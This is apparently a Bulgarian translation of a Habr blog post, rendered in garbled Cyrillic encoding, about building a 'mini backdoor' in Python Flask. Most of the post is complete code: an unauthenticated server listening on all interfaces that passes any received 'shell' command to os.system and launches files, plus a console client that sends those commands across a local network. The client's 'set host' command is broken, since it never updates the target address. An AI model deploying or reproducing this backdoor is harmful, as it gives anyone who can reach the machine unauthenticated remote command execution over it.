Π₯Π΅ΠΉ Π₯Π°Π±Ρ!
ΠΠ°ΡΠΊΠΎΡΠΎ Π³Π»Π΅Π΄Π°Ρ ΠΈΠ·ΡΠ΅Π³Π»Π΅Π½Π° Π²Π΅ΡΡΠΈΡ Π½Π° ΠΏΠΎΡΠΎΠΊΠ° Π·Π° ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈΡΠ°Π½Π΅ βΠΠ°ΠΊ Π΄Π° ΡΡΠ·Π΄Π°Π΄Π΅ΡΠ΅ ΡΠ²ΠΎΠ΅ ΡΠΎΠ±ΡΡΠ²Π΅Π½ΠΎ ΡΠ΅Π± ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΡΠ² Flask.β Π ΡΠ΅ΡΠΈΡ Π΄Π° ΠΊΠΎΠ½ΡΠΎΠ»ΠΈΠ΄ΠΈΡΠ°ΠΌ Π·Π½Π°Π½ΠΈΡΡΠ° ΡΠΈ Π² Π½ΡΠΊΠ°ΠΊΡΠ² ΠΏΡΠΎΠ΅ΠΊΡ. ΠΡΠ»Π³ΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π΅ Π·Π½Π°Π΅Ρ ΠΊΠ°ΠΊΠ²ΠΎ Π΄Π° Π½Π°ΠΏΠΈΡΠ° ΠΈ ΠΌΠΈ Ρ ΡΡΠΌΠ½Π° ΠΈΠ΄Π΅ΡΡΠ°: βΠΠ°ΡΠΎ Π΄Π° Π½Π΅ Π½Π°ΠΏΡΠ°Π²Ρ ΠΌΠΈΠ½ΠΈ-Π±Π΅ΠΊΠ΄ΠΎΡ Π²ΡΠ² Flask?β
ΠΡΡΠ²ΠΈΡΠ΅ ΠΎΠΏΡΠΈΠΈ Π·Π° Π²Π½Π΅Π΄ΡΡΠ²Π°Π½Π΅ ΠΈ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈ Π½Π° Π·Π°Π΄Π½Π°ΡΠ° Π²ΡΠ°ΡΠ° Π²Π΅Π΄Π½Π°Π³Π° ΡΠ΅ ΠΏΠΎΡΠ²ΠΈΡ Π° Π² Π³Π»Π°Π²Π°ΡΠ° ΠΌΠΈ. ΠΠΎ ΡΠ΅ΡΠΈΡ Π²Π΅Π΄Π½Π°Π³Π° Π΄Π° Π½Π°ΠΏΡΠ°Π²Ρ ΡΠΏΠΈΡΡΠΊ Ρ Π²ΡΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡΠΈΡΠ΅ Π½Π° Π·Π°Π΄Π½Π°ΡΠ° Π²ΡΠ°ΡΠ°:
- ΠΠ½Π°ΠΉΡΠ΅ ΠΊΠ°ΠΊ Π΄Π° ΠΎΡΠ²Π°ΡΡΡΠ΅ ΡΠ΅Π±ΡΠ°ΠΉΡΠΎΠ²Π΅
- ΠΠΌΠ°ΡΠ΅ Π΄ΠΎΡΡΡΠΏ Π΄ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈΡ ΡΠ΅Π΄
- ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΎΡΠ²Π°ΡΡΡΠ΅ ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈ, ΡΠ½ΠΈΠΌΠΊΠΈ, Π²ΠΈΠ΄Π΅ΠΎΠΊΠ»ΠΈΠΏΠΎΠ²Π΅
Π ΡΠ°ΠΊΠ°, ΠΏΡΡΠ²Π°ΡΠ° ΡΠΎΡΠΊΠ° Π΅ ΠΈΠ·ΠΊΠ»ΡΡΠΈΡΠ΅Π»Π½ΠΎ Π»Π΅ΡΠ½Π° Π·Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° ΠΌΠΎΠ΄ΡΠ»Π° Π·Π° ΡΠ΅Π± Π±ΡΠ°ΡΠ·ΡΡ. Π Π΅ΡΠΈΡ
Π΄Π° Π²Π½Π΅Π΄ΡΡ Π²ΡΠΎΡΠ°ΡΠ° ΡΠΎΡΠΊΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΠ° Π½Π° os ΠΌΠΎΠ΄ΡΠ»Π°. Π ΡΡΠ΅ΡΠΈΡΡ ΡΡΡΠΎ Π΅ ΠΏΡΠ΅Π· ΠΌΠΎΠ΄ΡΠ»Π° os, Π½ΠΎ ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°ΠΌ βΠ²ΡΡΠ·ΠΊΠΈβ (ΠΏΠΎΠ²Π΅ΡΠ΅ Π·Π° ΡΠΎΠ²Π° ΠΏΠΎ-ΠΊΡΡΠ½ΠΎ).
ΠΠΈΡΠ°Π½Π΅ Π½Π° ΡΡΡΠ²ΡΡ
Π ΡΠ°ΠΊΠ°, *ΡΡΠΏΠ°Π½* ΡΠ΅Π»ΠΈΡ ΠΊΠΎΠ΄ Π½Π° ΡΡΡΠ²ΡΡΠ°:
from flask import Flask, request
import webbrowser
import os
import re
app = Flask(__name__)
@app.route('/mycomp', methods=['POST'])
def hell():
json_string = request.json
if json_string['command'] == 'test':
return 'The server is running and waiting for commands...'
if json_string['command'] == 'openweb':
webbrowser.open(url='https://www.'+json_string['data'], new=0)
return 'Site opening ' + json_string['data'] + '...'
if json_string['command'] == 'shell':
os.system(json_string['data'])
return 'Command execution ' + json_string['data'] + '...'
if json_string['command'] == 'link':
links = open('links.txt', 'r')
for i in range(int(json_string['data'])):
link = links.readline()
os.system(link.split('>')[0])
return 'Launch ' + link.split('>')[1]
if __name__ == '__main__':
app.run(host='0.0.0.0')
ΠΠ΅ΡΠ΅ ΠΈΠ·Ρ Π²ΡΡΠ»ΠΈΡ ΡΠ΅Π»ΠΈΡ ΠΊΠΎΠ΄, Π²ΡΠ΅ΠΌΠ΅ Π΅ Π΄Π° ΠΎΠ±ΡΡΠ½Ρ ΡΡΡΠ½ΠΎΡΡΡΠ°.
Π¦Π΅Π»ΠΈΡΡ ΠΊΠΎΠ΄ ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° Π½Π° Π»ΠΎΠΊΠ°Π»Π½ΠΈΡ ΠΊΠΎΠΌΠΏΡΡΡΡ Π½Π° ΠΏΠΎΡΡ 5000. ΠΠ° Π΄Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²Π°ΠΌΠ΅ ΡΡΡ ΡΡΡΠ²ΡΡΠ°, ΡΡΡΠ±Π²Π° Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠΈΠΌ JSON POST Π·Π°ΡΠ²ΠΊΠ°.
Π‘ΡΡΡΠΊΡΡΡΠ° Π½Π° JSON Π·Π°ΡΠ²ΠΊΠ°:
{βcommandβ: βcomecommandβ, βdataβ: βsomedataβ}
Π, ΠΈΠΌΠ° ΡΠΌΠΈΡΡΠ», ΡΠ΅ βΠΊΠΎΠΌΠ°Π½Π΄Π°β Π΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°, ΠΊΠΎΡΡΠΎ ΠΈΡΠΊΠ°ΠΌΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ»Π½ΠΈΠΌ. Π βΠ΄Π°Π½Π½ΠΈβ ΡΠ° Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΈΡΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°.
ΠΠΎΠΆΠ΅ΡΠ΅ Π΄Π° ΠΏΠΈΡΠ΅ΡΠ΅ ΠΈ ΠΈΠ·ΠΏΡΠ°ΡΠ°ΡΠ΅ JSON Π·Π°ΡΠ²ΠΊΠΈ Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ ΡΡΡ ΡΡΡΠ²ΡΡΠ° ΡΡΡΠ½ΠΎ (Π·Π°ΡΠ²ΠΊΠΈΡΠ΅ ΡΠ΅ Π²ΠΈ ΠΏΠΎΠΌΠΎΠ³Π½Π°Ρ). ΠΠ»ΠΈ ΠΌΠΎΠΆΠ΅ΡΠ΅ Π΄Π° Π½Π°ΠΏΠΈΡΠ΅ΡΠ΅ ΠΊΠΎΠ½Π·ΠΎΠ»Π΅Π½ ΠΊΠ»ΠΈΠ΅Π½Ρ.
ΠΠΈΡΠ°Π½Π΅ Π½Π° ΠΊΠ»ΠΈΠ΅Π½Ρ
ΠΠΎΠ΄:
import requests
logo = ['nn',
'****** ********',
'******* *********',
'** ** ** **',
'** ** ** ** Written on Python',
'******* ** **',
'******** ** **',
'** ** ** ** Author: ROBOTD4',
'** ** ** **',
'** ** ** **',
'******** *********',
'******* ********',
'nn']
p = ''
iport = '192.168.1.2:5000'
host = 'http://' + iport + '/mycomp'
def test():
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
def start():
for i in logo:
print(i)
start()
test()
while True:
command = input('>')
if command == '':
continue
a = command.split()
if command == 'test':
dict = {'command': 'test', 'data': 0}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
if a[0] == 'shell':
for i in range(1, len(a)):
p = p + a[i] + ' '
dict = {'command': 'shell', 'data': p}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
p = ''
if a[0] == 'link':
if len(a) > 1:
dict = {'command': 'link', 'data': int(a[1])}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'openweb':
if len(a) > 1:
dict = {'command': 'openweb', 'data': a[1]}
r = requests.post(host, json=dict)
if r.status_code == 200:
print (r.content.decode('utf-8'))
else:
print('ΠΠΎΠΌΠΌΠ°Π½Π΄Π° Π½Π΅ ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ²!')
if a[0] == 'set':
if a[1] == 'host':
ip = a[2] + ':5000'
if command == 'quit':
break
ΠΠ±ΡΡΠ½Π΅Π½ΠΈΡ:
ΠΡΡΠ²ΠΎ ΡΠ΅ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠ° ΠΌΠΎΠ΄ΡΠ»ΡΡ Π·Π° Π·Π°ΡΠ²ΠΊΠΈ (Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ ΡΡΡ ΡΡΡΠ²ΡΡΠ°). ΠΠΎ-Π΄ΠΎΠ»Ρ ΡΠ° ΠΎΠΏΠΈΡΠ°Π½ΠΈ ΡΡΠ½ΠΊΡΠΈΠΈΡΠ΅ Π·Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ ΠΈ ΡΠ΅ΡΡΠ²Π°Π½Π΅. Π ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° ΡΠΈΠΊΡΠ»ΡΡ, Π² ΠΊΠΎΠΉΡΠΎ ΡΠ΅ ΡΠ»ΡΡΠ²Π° ΠΌΠ°Π³ΠΈΡΡΠ°. ΠΡΠΎΡΠ΅ΡΠΎΡ ΡΠ΅ Π»ΠΈ ΠΊΠΎΠ΄Π°? Π’Π°ΠΊΠ° ΡΠ°Π·Π±ΠΈΡΠ°ΡΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΠΌΠ°Π³ΠΈΡΡΠ°, ΠΊΠΎΡΡΠΎ ΡΠ΅ ΡΠ»ΡΡΠ²Π° Π² ΡΠΈΠΊΡΠ»Π°. ΠΡΠ²Π΅Π΄Π΅ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° - ΡΡ ΡΠ΅ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π°. Shell β ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ Π·Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΈΡ ΡΠ΅Π΄ (Π»ΠΎΠ³ΠΈΠΊΠ°ΡΠ° Π΅ ΠΈΠ·Π²ΡΠ½ ΠΌΠ°ΡΠ°Π±Π°).
Π’Π΅ΡΡ β ΠΏΡΠΎΠ²Π΅ΡΠ΅ΡΠ΅ Π΄Π°Π»ΠΈ ΡΡΡΠ²ΡΡΡΡ ΡΠ°Π±ΠΎΡΠΈ (backdoor)
ΠΡΡΠ·ΠΊΠ° β ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π°Π½Π΅ Π½Π° βΠΏΡΡΠΊ ΠΏΡΡβ
Openweb β ΠΎΡΠ²Π°ΡΡΠ½Π΅ Π½Π° ΡΠ΅Π±ΡΠ°ΠΉΡ
ΠΠ·Ρ
ΠΎΠ΄ β ΠΈΠ·Ρ
ΠΎΠ΄ ΠΎΡ ΠΊΠ»ΠΈΠ΅Π½ΡΠ°
Set β Π½Π°ΡΡΡΠΎΠΉΠΊΠ° Π½Π° IP Π½Π° Π²Π°ΡΠΈΡ ΠΊΠΎΠΌΠΏΡΡΡΡ Π² Π»ΠΎΠΊΠ°Π»Π½Π°ΡΠ° ΠΌΡΠ΅ΠΆΠ°
Π ΡΠ΅Π³Π° ΠΏΠΎΠ²Π΅ΡΠ΅ Π·Π° Π²ΡΡΠ·ΠΊΠ°ΡΠ°.
ΠΠΎ ΡΡΡΠ²ΡΡΠ° ΠΈΠΌΠ° ΡΠ°ΠΉΠ» link.txt. Π‘ΡΠ΄ΡΡΠΆΠ° Π²ΡΡΠ·ΠΊΠΈ (ΠΏΡΠ»Π΅Π½ ΠΏΡΡ) ΠΊΡΠΌ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ (Π²ΠΈΠ΄Π΅ΠΎ, ΡΠ½ΠΈΠΌΠΊΠΈ, ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΈ).
Π‘ΡΡΡΠΊΡΡΡΠ°ΡΠ° Π΅ ΡΠ»Π΅Π΄Π½Π°ΡΠ°:
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΏΠΎΠ»Π½ΡΠΉ_ΠΏΡΡΡ>ΠΎΠΏΠΈΡΠ°Π½ΠΈΠ΅
ΠΠ±ΡΠΎ
ΠΠΌΠ°ΠΌΠ΅ backdoor ΡΡΡΠ²ΡΡ Π·Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠΏΡΡΡΡ Π² Π»ΠΎΠΊΠ°Π»Π½Π° ΠΌΡΠ΅ΠΆΠ° (Π² ΡΠ°ΠΌΠΊΠΈΡΠ΅ Π½Π° wi-fi ΠΌΡΠ΅ΠΆΠ°). Π’Π΅Ρ Π½ΠΈΡΠ΅ΡΠΊΠΈ ΠΌΠΎΠΆΠ΅ΠΌ Π΄Π° ΡΡΠ°ΡΡΠΈΡΠ°ΠΌΠ΅ ΠΊΠ»ΠΈΠ΅Π½ΡΠ° ΠΎΡ Π²ΡΡΠΊΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ, ΠΊΠΎΠ΅ΡΠΎ ΠΈΠΌΠ° ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡ Π½Π° Python.
PS ΠΠΎΠ±Π°Π²ΠΈΡ
ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ° set, ΡΠ°ΠΊΠ° ΡΠ΅ Π°ΠΊΠΎ Π½Π° ΠΊΠΎΠΌΠΏΡΡΡΡ Π² Π»ΠΎΠΊΠ°Π»Π½Π°ΡΠ° ΠΌΡΠ΅ΠΆΠ° Π΅ ΠΏΡΠΈΡΠ²ΠΎΠ΅Π½ ΡΠ°Π·Π»ΠΈΡΠ΅Π½ IP, ΡΠΎΠΉ ΠΌΠΎΠΆΠ΅ Π΄Π° Π±ΡΠ΄Π΅ ΠΏΡΠΎΠΌΠ΅Π½Π΅Π½ Π΄ΠΈΡΠ΅ΠΊΡΠ½ΠΎ Π² ΠΊΠ»ΠΈΠ΅Π½ΡΠ°.
ΠΠ·ΡΠΎΡΠ½ΠΈΠΊ: www.habr.com